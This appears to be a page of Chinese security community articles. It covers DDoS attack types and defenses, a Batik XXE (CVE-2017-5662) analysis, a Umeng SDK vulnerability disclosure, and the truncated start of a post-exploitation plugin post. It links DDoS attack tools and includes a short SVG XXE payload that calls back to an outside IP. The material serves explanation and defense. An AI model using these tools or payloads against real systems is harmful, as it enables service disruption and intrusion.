[IOT环境搭建–如何使用qemu运行各种指令架构程序](https://island123.github.io/2020/02/12/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA--%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8qemu%E8%BF%90%E8%A1%8C%E5%90%84%E7%A7%8D%E6%8C%87%E4%BB%A4%E6%9E%B6%E6%9E%84%E7%A8%8B%E5%BA%8F/)
[4] [fofa网络资产测绘](https://fofa.so) | 社区文章 |
# DDoS介绍与防御
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 工具
https://github.com/poornigga/tfn2k.git
https://github.com/cxueqin/falcon.git //tfn2k web版本
https://github.com/GinjaChris/pentmenu.git
https://github.com/OffensivePython/Saddam.git
https://github.com/649/Memcrashed-DDoS-Exploit
## TCP
* SYN FLOOD
SYN
FLOOD攻击是在TCP三次握手过程中产生的。攻击者通过发送大量伪造的带有SYN标志位的TCP报文，与目标主机建立了很多虚假的半开连接，在服务器返回SYN+ACK数据包后，攻击者不对其做出响应，也就是不返回ACK数据包给服务器，这样服务器就会一直等待直到超时。这种攻击方式会使目标服务器连接资源耗尽、链路堵塞，从而达到拒绝服务的目的。
* ACK FLOOD
ACK FLOOD攻击是利用TCP三次握手过程。这里可以分为两种。
第一种：攻击者伪造大量的SYN+ACK包发送给目标主机，目标主机每收到一个SYN+ACK数据包时，都会去自己的TCP连接表中查看有没有与ACK的发送者建立连接
，如果有则发送ACK包完成TCP连接，如果没有则发送ACK+RST
断开连接。但是在查询过程中会消耗一定的cpu计算资源。如果瞬间收到大量的SYN+ACK数据包，将会消耗服务器的大量cpu资源，导致正常的连接无法建立或增加延迟，甚至造成服务器瘫痪、死机。
第二种：利用TCP三次握手的ACK+SYN应答，攻击者向不同的服务器发送大量的SYN请求，这些SYN请求数据包的源IP均为受害主机IP，这样就会有大量的SYN+ACK应答数据包发往受害主机，从而占用目标的网络带宽资源，形成拒绝服务。
* TCP RST FloodTCP协议头部有一个标志位称为“RST”位，正常的数据包中该位为0，一旦该位设置为1,则接收该数据包的主机将立即断开TCP会话。TCP Reset攻击中，攻击者可以伪造TCP连接其中的一方给另一方发送带有RST位的包来断开TCP连接，但是要确保这个数据包的源IP地址、源端口号、目的IP地址、目的端口号、序列号等特征符合已有TCP连接的特征。
## UDP
* UDP Flood
UDP协议与TCP协议不同， UDP是一个无连接协议。使用UDP协议传输数据之前，客户端和服务器之间不建立连接，UDP
Flood属于带宽类攻击，黑客们通过僵尸网络向目标服务器发起大量的UDP报文，可以使用小数据包(64字节)进行攻击,也可以使用大数据包(大于1500字节,以太网MTU为1500字节)进行攻击。大量小数据包会增大网络设备处理数据包的压力；而对于大数据包，网络设备需要进行分片、重组，迅速造成链路拥塞。
## ICMP
* ICMP Echo Flood
ICMP协议位于IP层，主要通过含有ICMP功能的主机与路由器之间发送ICMP数据包，来达到实现信息查询和错误通知的功能。因此攻击者利用icmp获取主机信息，时间、路由信息等。所以为攻击者创造了极大得便利条件。攻击者通过足够快的数据包速度和足够的带宽，对目标发出攻击请求，造成网络拥堵。
* ICMP Blacknurse
BlackNurse攻击基于Type3（Destination Unreachable） Code3（Port
Unreachable）——端口不可达，当目标端口不可达，所发出的ICMP包都会返回源。攻击者可以通过发这种特定的ICMP包令大多数服务器防火墙的CPU过载。一旦设备抛弃的包到了临界值15Mbps至18Mbps（每秒4万到5万个包），设备就会直接停止响应。
* ICMP Smurf攻击
攻击者向网关发送ICMP请求包，并将该ICMP请求报文的源地址伪造成受害主机IP地址，目的地址为广播地址。路由器在接受到该数据包，发现目的地址是广播地址，就会将该数据包广播出去，局域网内所有的存活主机都会受到一个ICMP请求包，源地址是受害主机IP。接下来受害主机就会收到该网络内所有主机发来的ICMP应答报文，通过大量返回的ICMP应答报文来淹没受害主机，最终导致网络阻塞，受害主机崩溃。
## 应用层反射
* DNS 反射 (放大倍数28 to 54）
* NTP 反射 (放大倍数556.9）
* Memcached 反射（放大倍数10,000 to 51,000）
* 等等（LDAP反射/TFTP反射/SSDP反射/SNMP反射）
## 防御策略
防御：
SYNCheck：使用防护设备，3次握手变成了6次握手，由防护设备检测SYN请求是否合法，通过后再由防护设备将报文转发给服务器，后续报文仍由防护设备代理。
Micro blocks：管理员可以在内存中为每个SYN请求创建一个小索引(小于16字节)，而不必把整个连接对象存入内存。
RST
cookies：在客户端发起第一个SYN请求后，服务器故意回应一个错误的SYN+ACK报文。如果合法用户收到这个报文，就会给服务器响应RST报文。当服务器收到这个报文时，就将这个主机的IP记录进合法IP列表，下次该主机发起SYN请求时，就可以直接通过了。
STACK
tweaking：管理员可以调整TCP堆栈以减缓SYN泛洪攻击的影响。这包括减小超时时间，等到堆栈存释内放时再分配连接，否则就随机性地删除传入的连接。
最初防火墙对UDP Flood的防御方式就是限流，通过限流将链路中的UDP报文控制在合理的带宽范围之内。
防火墙上针对UDP Flood的限流有三种：
基于目的IP地址的限流：即以某个IP地址作为统计对象，对到达这个IP地址的UDP流量进行统计并限流，超过部分丢弃。
基于目的安全区域的限流：即以某个安全区域作为统计对象，对到达这个安全区域的UDP流量进行统计并限流，超过部分丢弃。
基于会话的限流：即对每条UDP会话上的报文速率进行统计，如果会话上的UDP报文速率达到了告警阈值，这条会话就会被锁定，后续命中这条会话的UDP报文都被丢弃。当这条会话连续3秒或者3秒以上没有流量时，防火墙会解锁此会话，后续命中此会话的报文可以继续通过。
针对UDP Flood的指纹学习功能。
从下面的抓包中可以看出，到达相同目的IP地址的两个UDP报文的载荷是完全一样的，如果防火墙收到大量的类似这样的UDP报文，那么就有可能是发生了UDP
Flood攻击。
不难发现，UDP
Flood攻击报文具有一定的特点，这些攻击报文通常都拥有相同的特征字段，比如都包含某一个字符串，或整个报文内容一致。这些字段来自于DDoS工具自带的默认字符串，所以防火墙是通过收集这些字符串来检测UDP
Flood。这种防御算法在现网使用很多，主要因为黑客为了加大攻击频率，快速、长时间挤占攻击目标所在网络带宽，在使用攻击工具实现时直接在内存存放一段内容，然后高频发送到攻击目标，所以攻击报文具有很高的相似性。而正常业务的UDP报文一般每个报文负载内容都是不一样的，这样可以减少误判。
指纹学习是通过分析客户端向服务器发送的UDP报文载荷是否有大量的一致内容，来判定这个UDP报文是否异常。防火墙对到达指定目的地的UDP报文进行统计，当UDP报文达到告警阈值时，开始对UDP报文的指纹进行学习。如果相同的特征频繁出现，就会被学习成指纹，后续命中指纹的报文判定这是攻击报文，作为攻击特征进行过滤。
防火墙防御UDP
Flood攻击主要有两种方式：限流和指纹学习，两种方式各有利弊。限流方式属于暴力型，可以很快将UDP流量限制在一个合理的范围内，但是不分青红皂白，超过就丢，可能会丢弃一些正常报文；而指纹学习属于理智型，不会随意丢弃报文，但是发生攻击后需要有个指纹学习的过程。目前，指纹学习功能是针对UDP
Flood攻击的主流防御手段，在华为防火墙产品中广泛应用。
细化的流程大概就是：
第一步进行报文合法性检查,过滤一些畸形报文攻击;
第二步进行特征过滤,即基于报文特征匹配进行过滤,主要过滤一些UDP Flood和UDP反射放大攻击;
第三步进行虚假源认证,可过滤一些虚假源发起的TCP SYN Flood;
第四步进行应用层源认证,过滤各类型的应用层攻击,例如DNS Query Flood, HTTP Get Flood.
HTTP Post Flood. HTTPS Flood等;
第五步进行会话分析,即进行会话检查来防范一些会话类攻击,例如TCP ACK Flood, FIN/RST Flood, TCP连接耗尽攻击、TCP重传攻击、DNS缓存投毒、SSL-DoS/DDoS, HTTP slow header/post
攻击等;
第六步进行行为分析,根据用户访问流量的突发性和攻击流量的频率均匀
且资源均匀的不同,可识别出CC攻击、慢速SYN Flood和报文负载有特征的UDP
Flood;
第七步进行智能限速,像ICMP没有对应业务系统，可以直接限速。完成前六步的过滤后流量依然超过链路负载阈值
时,利用基于各种协议的精细化限速使得流量大小稳定在安全范围内。
## 使用DPDK进行DDOS检测
DPDK全称Intel Data Plane Development Kit，是intel提供的数据平面开发工具集，为Intel
architecture（IA）处理器架构下用户空间高效的数据包处理提供库函数和驱动的支持。通俗地说，就是一个用来进行包数据处理加速的软件库。
DPDK不同于Linux系统以通用性设计为目的，而是专注于网络应用中数据包的高性能处理。具体体现在DPDK应用程序是运行在用户空间上利用自身提供的数据平面库来收发数据包，绕过了Linux内核协议栈对数据包处理过程。它不是一个用户可以直接建立应用程序的完整产品，不包含需要与控制层（包括内核和协议堆栈）进行交互的工具。
传统Linux内核读取数据包使用中断模式驱动首先当数据包到达网卡后,网卡产生硬中断,将网卡加入到轮询输入数据包的网卡队列中,然后关闭硬中断并开启软中断,此时硬中断处理结束,软中断被激活后轮询设备,读取指定量的数据包后清空设备队列,至此结束软中断。对于在大流量下的服务器来说会在硬中断和软中断上浪费大量的时间,所以DPDK采用轮询模式驱动,收到数据包后直接通过DMA方式传送到预分配内存并直接处理,避免了中断下文切换开销,对于高并发大流量的系统来说会极大的提高数据包处理效率和性能。另外DPDK的轮询模式驱动还用到了用户空间设备驱动程序(Userspace
I/O,
uio),将绝大部分程序放到用户空间实现,减少了内核空间的程序,使得uio的开发与维护都很方便,避免了过度依赖内核版本导致开发调试复杂。DPDK在使用uio的同时还利用mmap技术将网卡缓存映射到用户空间,使得报文不需要经过内核空间处理,减少了报文从内核空间到用户空间的拷贝。
传统Linux内核的多核系统中运行程序会使用负载均衡机制,即某个进程在哪个核中运行是不确定的,内核根据各CPU负载情况来统一调度,这样会造成一个进程在运行过程中会在各CPU之间频繁切换,导致资源开销增大。此外切换CPU时从内存中预先获取的CPU
Cache也会失效,降低了CPU
Cache的命中概率。DPDK利用线程的CPU亲和绑定机制使得特定任务能够被指定在某个特定的核上执行,这样可避免线程在不同核之间频繁转换而导致的因cache
miss和cachewrite back造成的性能损失。
检测是否为 slow header 攻击的demo，通过是否包含连续的两个 \r\n 来进行判断
int process_http_pkt(
struct FeatureExtractCoreConfig* config, uint32_t src_ip, uint16_t http_payload_len,uint8_t* http_payload){
uint8_t atk_type = -1;
char* find = strstr(http_payload, "\r\n\r\n");
if(find == NULL){
atk_type = ATK_TYPE_HTTP_POST;
}else{
switch (http_payload[0]){
case 'G':
atk_type = ATK_TYPE_HTTP_GET;
break;
case 'P':
atk_type = ATK_TYPE_HTTP_POST;
break;
default:
break;
}
}
if(atk_type != -1){
update_feature(config->featureTableList[atk_type], src_ip, http_payload_len);
}
return 0;
}
开源的基于DPDK的 抗D工具：
https://github.com/AltraMayor/gatekeeper
## 使用XDP进行DDOS拦截
在计算机网络中，Hook钩子在操作系统中用于在调用前或执行过程中拦截网络数据包。Linux内核中暴露了多个钩子，BPF程序可以连接到这些钩子上，实现数据收集和自定义事件处理。XDP全称为eXpress
Data
Path，是Linux内核网络栈的最底层。它只存在于RX路径上，允许在网络设备驱动内部网络堆栈中数据来源最早的地方进行数据包处理，在特定模式下可以在操作系统分配内存（skb）之前就已经完成处理。XDP暴露了一个可以加载BPF程序的网络钩子。在这个钩子中，程序能够对传入的数据包进行任意修改和快速决策，避免了内核内部处理带来的额外开销。基于XDP实现高效的防DDoS攻击，其本质上就是实现尽可能早地实现「丢包」，而不去消耗系统资源创建完整的网络栈链路，即「early
drop」。
XDP暴露的钩子具有特定的输入上下文，它是单一输入参数。它的类型为 struct xdp_md，在内核头文件bpf.h 中定义，具体字段如下所示：
*/
struct xdp_md {
__u32 data;
__u32 data_end;
__u32 data_meta;
/* Below access go through struct xdp_rxq_info */
__u32 ingress_ifindex; /* rxq->dev->ifindex */
__u32 rx_queue_index; /* rxq->queue_index */
};
程序执行时，data和data_end字段分别是数据包开始和结束的指针，它们是用来获取和解析传来的数据，第三个值是data_meta指针，初始阶段它是一个空闲的内存地址，供XDP程序与其他层交换数据包元数据时使用。最后两个字段分别是接收数据包的接口和对应的RX队列的索引。当访问这两个值时，BPF代码会在内核内部重写，以访问实际持有这些值的内核结构struct
xdp_rxq_info。
在处理完一个数据包后，XDP程序会返回一个动作（Action）作为输出，它代表了程序退出后对数据包应该做什么样的最终裁决，也是在内核头文件bpf.h
定义了以下5种动作类型：
enum xdp_action {
XDP_ABORTED = 0, // Drop packet while raising an exception
XDP_DROP, // Drop packet silently
XDP_PASS, // Allow further processing by the kernel stack
XDP_TX, // Transmit from the interface it came from
XDP_REDIRECT, // Transmit packet from another interface
};
可以看出这个动作的本质是一个int值。前面4个动作是不需要参数的，最后一个动作需要额外指定一个NIC网络设备名称，作为转发这个数据包的目的地。
启用XDP后，网络包传输路径是这样的：
可以看到多了3个红色方框圈起来的新链路，我们来一一介绍：
offload模式，XDP程序直接hook到可编程网卡硬件设备上，与其他两种模式相比，它的处理性能最强；由于处于数据链路的最前端，过滤效率也是最高的。如果需要使用这种模式，需要在加载程序时明确声明。目前支持这种模式的网卡设备不多，有一家叫netronome。
native模式，XDP程序hook到网络设备的驱动上，它是XDP最原始的模式，因为还是先于操作系统进行数据处理，它的执行性能还是很高的，当然你的网络驱动需要支持，目前已知的有i40e,
nfp, mlx系列和ixgbe系列。
generic模式，这是操作系统内核提供的通用
XDP兼容模式，它可以在没有硬件或驱动程序支持的主机上执行XDP程序。在这种模式下，XDP的执行是由操作系统本身来完成的，以模拟native模式执行。好处是，只要内核够高，人人都能玩XDP；缺点是由于是仿真执行，需要分配额外的套接字缓冲区（SKB），导致处理性能下降，跟native模式在10倍左右的差距。
当前主流内核版本的Linux系统在加载XDP
BPF程序时，会自动在native和generic这两种模式选择，完成加载后，可以使用ip命令行工具来查看选择的模式。
struct bpf_map_def SEC("maps") c_map = {
.type = BPF_MAP_TYP_PERCPU_ARRAY,
.key_size = sizeof(int),
.value_size = sizeof(long),
.max_entries = 256,
};
void sample_packet(void *data, void *data_end) {
// mark the packet to be sampled
}
static inline void update_rule_counters(int rule_id) {
long *value =
bpf_map_lookup_elem(&c_map, &rule_id);
if (value)
*value += 1;
}
static inline int rule_1(void *data, void *data_end) {
// if any of the rule conditions is not met
// return XDP_PASS;
update_rule_counters(1);
sample_packet(data, data_end);
return XDP_DROP;
}
// static inline int rule_2(..)
SEC("xdp1")
int xdp_prog(struct xdp_md *ctx) {
void *data = (void *)(long)ctx->data;
void *data_end = (void *)(long)ctx->data_end;
int ret;
ret = rule_1(data, data_end);
if (ret != XDP_PASS)
return ret;
ret = rule_2(data, data_end);
if (ret != XDP_PASS)
return ret;
//..
return XDP_PASS;
}
XDP的程序在这里的主要作用是完成early drop ，而不是识别，相当于执行者，通过我们的分析工具下发拦截指令，并实施拦截。大体的玩法就是：
1, 自研的模块负责识别DDOS攻击包
2, 自研的规则下发拦截规则，完成告警并记录
3, XDP负责阻止黑名单里的IP继续访问
DDOS大体介绍了一遍，了解即可，上面都是脏活累活即可，交给专门做防DDoS的厂商去做，一般都直接使用CDN和高防即可，比如，知道创宇的加速乐，腾讯云的大禹等等。 | 社区文章 |
### 漏洞简介
cve-2017-5662：batik < 1.9
Description
In Apache Batik before 1.9, files lying on the filesystem of the server which
uses batik can be revealed to arbitrary users who send maliciously formed SVG
files. The file types that can be shown depend on the user context in which
the exploitable application is running. If the user is root a full compromise
of the server - including confidential or sensitive files - would be possible.
XXE can also be used to attack the availability of the server via denial of
service as the references within a xml document can trivially trigger an
amplification attack.
### apache batik
Batik是Batik SVG Toolkit或Batik Java SVG
Toolkit的简称，一个基于Java的应用程序或小应用的工具集，意图将SVG格式用于多种目的，如察看，主控或操纵。该项目的目标是让开发一套核心模块，以及实现高度可扩展性
### 调用流程
### 分析过程
网上除了那一段描述之外啥也没了，那我们就自己分析
emm，这个组件可以操作svg，那么看看svg
很显眼的几个字，使用XML格式定义图形，svg里用xml格式.....xxe
那么就先把batik_1.8源码包下好，由于不那么新，有些依赖没能自动加载上，所以用idea的时候需要手动加上几个包（需要ant编译）
加上 xmlgraphics-commons 、 fop-transcoder-allinone 、 jacl 、 jython 应该就可以正常跑起来了
现在要做的就是，让它真正跑起来，先随便加载一个svg试一试
额，运气比较好，他写了gui的
路径如下：
直接执行 void main 就行
在 batik-batik-1_8\samples 路径下有不少svg，随便跑一个，成功解析了
那么我们现在自己构造一个svg，去试试
比如这样的
<?xml version="1.0" standalone="no"?>
<!DOCTYPE ANY SYSTEM "http://192.168.204.142:8888/test">
<svg>orich1</svg>
收到了连接请求，这就说明xxe是存在的，并且应该就是在解析svg文件时触发的
那么现在我们有两个选择，要么打断点使用payload调试，要么直接看代码静态跟进
虽然调试的方式速度快很多，但是我觉得静态跟进更亲切一点，也能更清楚看见调用流程中发生了什么
那么就从 void main 开始看
跟进Main的构造函数（其实就是当前类的构造函数）
_代码太长，不全帖_
它首先判断了操作系统平台，还有一大堆的对话框初始化，接着就是设置各种Canvas的Listener，说实话看到这里有点发慌，不知道能不能继续跟出来
但是看到这个构造函数最后的时候，发现它是这么操作的
我们不管其他的，可以肯定svgInitializationURI是一个字符串，然后被带进了loadSVGDocument函数里，从函数名和参数名可以猜测一下，他有一个初始化用的svg文件，然后肯定是需要首次加载的，那么我们就可以不用管上面那乱七八糟一大堆的初始化。因为我们的目的本就只是需要跟进这个组件是如何解析svg文件的，其他的不用管
不过不放心，我们先去看看这个被加载的路径是啥 SVG_INITIALIZATION
恩，现在十分确定，它初始化时就加载了一个init.svg文件，那么就应该跟进这个 loadSVGDocument 函数
做了一些简单url解析和判断，然后又给 stopThenRun 传递了一个匿名内部类，按理说这里我们是应该跟进 stopThenRun
看看详情的，但是仔细看一下它在这里重写的run函数
内容大致是对 DocumentLoader 的一些初始化处理，我们知道这个 run 是肯定会被执行的，被执行的时候才在做 DocumentLoader
的初始化，那么就说明 stopThenRun 里面肯定还没有对svg进行解析，所以我们可以直接跟进 startDocumentLoader 函数
如上图，它就在 JSVGComponnent 类中，这里我们可以直接判断，documentLoader 可以开启线程，那么就去找他的 run
函数，看看做了啥
首先找到 documentLoader 的类型
跟进 SVGDocumentLoader，里面刚好有个 run 函数
其他部分都是catch，就不贴出来了
继续跟进 loadDocument 函数，因为我们只需要知道这个初始化svg是如何被解析的
开始创建 Document 了，继续跟进 createSVGDocument
发现跟进了 SVGDocumentFactory 接口，不过没事，看一下类关系就好
恩，只有一个 SAXSVGDocumentFactory 实现了 SVGDocumentFactory 接口，那么 createSVGDocument
就在里面没跑了
继续跟进 createDocument
/**
* Creates a SVG Document instance.
* This method supports gzipped sources.
* @param uri The document URI.
* @exception IOException if an error occured while reading the document.
*/
public Document createDocument(String uri) throws IOException {
ParsedURL purl = new ParsedURL(uri);
InputStream is = purl.openStream
(MimeTypeConstants.MIME_TYPES_SVG_LIST.iterator());
uri = purl.getPostConnectionURL();
InputSource isrc = new InputSource(is);
// now looking for a charset encoding in the content type such
// as "image/svg+xml; charset=iso8859-1" this is not official
// for image/svg+xml yet! only for text/xml and maybe
// for application/xml
String contentType = purl.getContentType();
int cindex = -1;
if (contentType != null) {
contentType = contentType.toLowerCase();
cindex = contentType.indexOf(HTTP_CHARSET);
}
String charset = null;
if (cindex != -1) {
int i = cindex + HTTP_CHARSET.length();
int eqIdx = contentType.indexOf('=', i);
if (eqIdx != -1) {
eqIdx++; // no one is interested in the equals sign...
// The patch had ',' as the terminator but I suspect
// that is the delimiter between possible charsets,
// but if another 'attribute' were in the accept header
// charset would be terminated by a ';'. So I look
// for both and take to closer of the two.
int idx = contentType.indexOf(',', eqIdx);
int semiIdx = contentType.indexOf(';', eqIdx);
if ((semiIdx != -1) && ((semiIdx < idx) || (idx == -1)))
idx = semiIdx;
if (idx != -1)
charset = contentType.substring(eqIdx, idx);
else
charset = contentType.substring(eqIdx);
charset = charset.trim();
isrc.setEncoding(charset);
}
}
isrc.setSystemId(uri);
SVGOMDocument doc = (SVGOMDocument) super.createDocument
(SVGDOMImplementation.SVG_NAMESPACE_URI, "svg", uri, isrc);
doc.setParsedURL(new ParsedURL(uri));
doc.setDocumentInputEncoding(charset);
doc.setXmlStandalone(isStandalone);
doc.setXmlVersion(xmlVersion);
return doc;
}
最主要的代码：
再次调用了一个 createDocument 函数，然后才对返回的 SVGOMDocument 类型做一些设置，不过这个 createDocument
是父类 SAXDocumentFactory 中的，跟进去
/**
* Creates a Document.
* @param is The document input source.
* @exception IOException if an error occured while reading the document.
*/
protected Document createDocument(InputSource is)
throws IOException {
try {
if (parserClassName != null) {
parser = XMLReaderFactory.createXMLReader(parserClassName);
} else {
SAXParser saxParser;
try {
saxParser = saxFactory.newSAXParser();
} catch (ParserConfigurationException pce) {
throw new IOException("Could not create SAXParser: "
+ pce.getMessage());
}
parser = saxParser.getXMLReader();
}
parser.setContentHandler(this);
parser.setDTDHandler(this);
parser.setEntityResolver(this);
parser.setErrorHandler((errorHandler == null) ?
this : errorHandler);
parser.setFeature("http://xml.org/sax/features/namespaces",
true);
parser.setFeature("http://xml.org/sax/features/namespace-prefixes",
true);
parser.setFeature("http://xml.org/sax/features/validation",
isValidating);
parser.setProperty("http://xml.org/sax/properties/lexical-handler",
this);
parser.parse(is);
} catch (SAXException e) {
Exception ex = e.getException();
if (ex != null && ex instanceof InterruptedIOException) {
throw (InterruptedIOException)ex;
}
throw new SAXIOException(e);
}
currentNode = null;
Document ret = document;
document = null;
doctype = null;
locator = null;
parser = null;
return ret;
}
值得我们关注的是这一块
is 变量就是svg文件的内容，在 parse 之前，有两块值得注意
`setEntityResolver` 和 `setFeature`
一般对于组件来说，这两者都可以用来防御xxe
setFeature 如上图很明显，并没有对 `doctype`、`entities` 做设置
那么我们看看 setEntityResolver ，它传入的是 this ，别忘了现在是在父类的 createDocument 函数里，这个 this
应该是子类本身，也就是 SAXSVGDocumentFactory 类
那么这个 setFeature 有啥用呢，它是会将 resolveEntity 函数指定为传入参数类的 resolveEntity
函数，这个函数将会影响解析xml时对外部资源的请求
看看它的定义：
具体就是，该函数返回用户自定义的InputSource实例，如果该方法返回null，
则XML解析引擎默认为外部实体为URL，并使用该URL创建InputSource。
如果重写的时候直接返回了一个 new InputSorce ，那么是直接忽略所有外部URL申请的
那么我们现在去看看 SAXSVGDocumentFactory 类中重写的 resolveEntity 函数
函数体略长，就不贴出来了，就看看它返回啥
在函数最后，默认是返回 null 的
这里解释一下，publicId 和 systemId 分别代表 PUBLIC 和 SYSTEM 标识
如下图
PUBLIC：
SYSTEM：
so，我们的payload里面，根本没用到PUBLIC标识，所以直接返回 null 了
在这之后，就对 svg 进行了解析，其 xml 内容通过构造，可以造成 xxe
batik：<https://baike.baidu.com/item/SVG/63178?fr=aladdin>
cve 描述：<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5662>
batik简单使用：<http://blog.csdn.net/lfsf802/article/details/40628547>
java xxe 防御：<http://blog.csdn.net/raintungli/article/details/53486383> | 社区文章 |
# 360 Vulpecker：友盟SDK越权漏洞分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概要
今年9月22日，360信息安全部的Vulpecker安全团队发现了国内消息推送厂商友盟的SDK存在可越权调用未导出组件的漏洞，并利用该漏洞实现了对使用了友盟SDK的APP的任意组件的恶意调用、任意虚假消息的通知、远程代码执行等攻击测试。
经过分析验证，360
Vulpecker安全团队将此漏洞细节第一时间提交给友盟进行修复。10月18日，友盟官方发布最新版3.1.3修复漏洞。为了确保受此漏洞影响的终端用户有充分的时间进行安全更新，12月6日，360Vulpecker安全团队首次向外界公开披露漏洞信息。
在360显危镜后台数据库中根据该含有漏洞版本的SDK的特征值查询确认，发现约有3万多APP受此漏洞的影响，根据包名去重后约7千多款APP产品，涉及多种类型的应用。鉴于该消息推送SDK使用范围较广，且受影响APP多是与终端用户日常生活息息相关的应用，一旦被恶意攻击者利用危害将是非常严重的。基于该漏洞，可以实现对终端用户推送虚假诈骗信息、远程窃取用户终端设备中的敏感数据（例如通讯录、照片、账号密码等数据）等功能。此外，该漏洞的危害依赖于Android应用本身提供的功能而有所不同，因此对终端用户的攻击方式亦是姿态各异，造成的危害也是多种多样的。
此漏洞已经得到友盟官方修复，请用户及时更新智能手机上安装的各类APP，防止手机里的隐私数据和财产被不法分子轻易窃取。
## 前言
近年来，随着移动互联网的高速发展，智能终端设备已经走入人们生活的方方面面。在Android和iOS两大移动平台阵营中，Android系统以其开源性、易开发、丰富的硬件等优势占据了市场上约80%的份额。
Android系统中提供的应用丰富多样，且功能复杂，几乎所有的应用都采用了第三方的SDK以加速其开发周期，节约成本。第三方SDK包括支付、统计、广告、社交、推送、地图类等，其在加速产品成型时，也引入了许许多多的安全问题。下图所示内容为经360显危镜后台查询的几款常用SDK使用情况统计数据，从图中可以看出使用了该SDK开发的APP非常多。
下文以友盟消息推送SDK为例，详细介绍一下第三方SDK在缺乏产品安全审计的情况下存在的高危漏洞风险，希冀以此能督促第三方SDK厂商在产品安全性方面能投入更多的精力。
## SDK介绍
友盟 Push
SDK是友盟互联网数据服务SDK其中用来做消息推送的模块之一，基于【友盟+】全域数据建立与用户精准直接沟通的渠道，将APP的内容主动推送给终端用户，让用户实时实地的获取相关信息，有效提升用户活跃和忠诚度。由于其定位精准、集成快速等优点，目前有多个知名APP在使用U-PUSH服务。
## 技术分析
友盟的消息推送SDK中有一导出Service组件存在漏洞，可被越权调用并利用该组件访问任意service组件，甚至未导出的亦可。随后，利用该漏洞调用友盟其他未导出的组件，可进一步越权调用任意导出和未导出的Activity，进而扩大了该漏洞的攻击面，为攻击者提供了更大范围的攻击可能性。
下文详述了友盟的消息推送SDK中可越权调用所有非导出组件的漏洞技术原理，并据此详述了如何实现非导出组件恶意调用、恶意消息通知、远程代码执行等攻击行为。
## 漏洞起因
友盟最新的消息推送SDK中集成的说明文档中的demo里，AndroidManifest文件中导出了一个IntentService——UmengIntentService，据推测这个服务是为了使用了PUSH
SDK的APP之间相互唤醒使用的，详情如下图所示。
这个IntentService有个实现的抽象方法如下：
我们能看到外部接收了intent携带的body数据（JSON格式），交给UMessage构造后得到v3，如果display_type
为“pullapp”的话，可通过设置pulled_service和pulled_package参数能拉起任意未运行的servcie。其中Umessage函数的结构如下：
## 漏洞利用
### 初步利用——访问未导出service组件
通过构造如下POC，可访问APP内所有的service组件，甚至未导出的servcie。而且SDK提供了一个“贴心”的功能，接收额外的参数，封装到新的Intent后发送给拉起的service。
*限制一点的只能putExtra String类型的数据，但是也足够利用了。
PoC：
### 进阶利用——访问未导出Activity
SDK有几个强大功能：接收推送的消息，下载图片或接收文本进行通知展示。点击通知后有几个可选动作，打开URL、打开指定activity、运行其他APP和一个自定义的动作。我们通过一个未导出的Service——UmengDownloadResourceService进行进一步的利用。
打开activity的POC：
#### 利用实例1——通用弹出钓鱼通知
利用上面打开任意activity的POC，可以弹出任意通知，这个通知的图标，文本都是可以定制的，而且用户长按通知也会发现这个通知是漏洞APP发出的。点击通知，我们可以跳转url打开一个钓鱼页面或是钓鱼activity。
#### 利用实例2——隔山打牛，一点资讯下载任意压缩包
通过检索平台搜索后发现，APP一点资讯是存在这个漏洞的。进一步挖掘过程中，发现APP有一个未导出的service——WebAppUpdateService，详情如下。
通过构造合法的参数，可以利用WebAppUpdateService组件实现下载自定义的zip文件并解压到当前应用沙箱目录中，EXP代码如下：
运行成功后，下载zip文件夹并解压到相关目录，这个目录里存的是APP所使用的html页面，而整个zip里文件都是我们能够修改和替换。现在做钓鱼页面，加各种js代码都没问题了。
随后，通过对该APP代码的深度挖掘分析，我们发现该应用提供了动态加载插件的功能，且在对加载的插件解压时未做过滤导致存在目录穿越漏洞。结合该漏洞，我们可以在加载插件过程中覆盖该APP的lib文件，注入自己的恶意代码，进而造成远程代码执行。不言而喻，远程代码执行对用户的危害是非常严重的，可远程控制用户终端设备，远程窃取用户隐私数据，甚至其他任意的恶意行为。下图所示为结合上述漏洞实现的对用户终端设备远程获取隐私敏感数据的攻击截图。
漏洞演示视频如下：
<http://v.youku.com/v_show/id_XMzIwNTAyMjUyOA==.html>
## 影响范围
通过分析发现，有漏洞的组件UmengIntentService是在新版3.1.X版本中引入的。我们据此确定以下的特征值，并在360显危镜后台数据库中查询受该漏洞影响的APP：组件service中包含UmengIntentService并且在apk中包含字符串pullapp。
在360显危镜后台数据库中，按该漏洞的特征值查询后发现约3万多的APP受此漏洞的影响，其中不乏大公司的产品主流产品，对用户影响巨大。
## 修复建议
如果组件导出是非必要的，将漏洞组件设置为不导出；
如果组件是必须导出的，在Service加上android:protectLevel增加权限校验，至少为signature级别。
官方已有修复版本更新，请及时更新到最新版本。
## 时间轴
2017-09-22 发现漏洞
2017-09-25 通报官方
2017-10-18 官方发布最新版3.1.3修复漏洞
2017-12-06 对外公布漏洞详情
## 参考链接
<https://www.umeng.com/>
<https://www.anquanke.com/post/id/87274>
<http://appscan.360.cn/>
<http://v.youku.com/v_show/id_XMzIwNTAyMjUyOA==.html>
## 团队介绍
360 Vulpecker Team
隶属于360公司信息安全部，致力于保护公司所有Android App及手机的安全，同时专注于移动安全研究，研究重点为安卓APP安全和安卓OEM手机安全。
团队定制了公司内部安卓产品安全开发规范，自主开发并维护了在线Android应用安全审计系统“360显危镜”，在大大提高工作效率的同时也为开发者提供了便捷的安全自测平台。同时研究发现了多个安卓系统上的通用型漏洞，如通用拒绝服务漏洞、“寄生兽”漏洞等，影响范围几乎包括市面上所有应用。
该团队高度活跃在谷歌、三星、华为等各大手机厂商的致谢名单中，挖掘的漏洞屡次获得CVE编号及致谢，在保证360产品安全的前提下，团队不断对外输出安全技术，为移动互联网安全贡献一份力量。 | 社区文章 |
**作者：yzddmr6**
**项目地址：<https://github.com/yzddmr6/As-Exploits>**
## 前言
冰蝎跟哥斯拉都有了各自的一些后渗透模块，然而蚁剑这一块基本还是空缺，所以就萌生出来做一个蚁剑的后渗透框架插件的想法。
目前插件的定位是蚁剑的一个微内核拓展模块，可以迅速做到payload的工程化，不用过多时间浪费在插件的结构上。目前的As-Exlpoits各部分之间基本做到了解耦，新增一个payload只需要两步：1.填写payload，2.
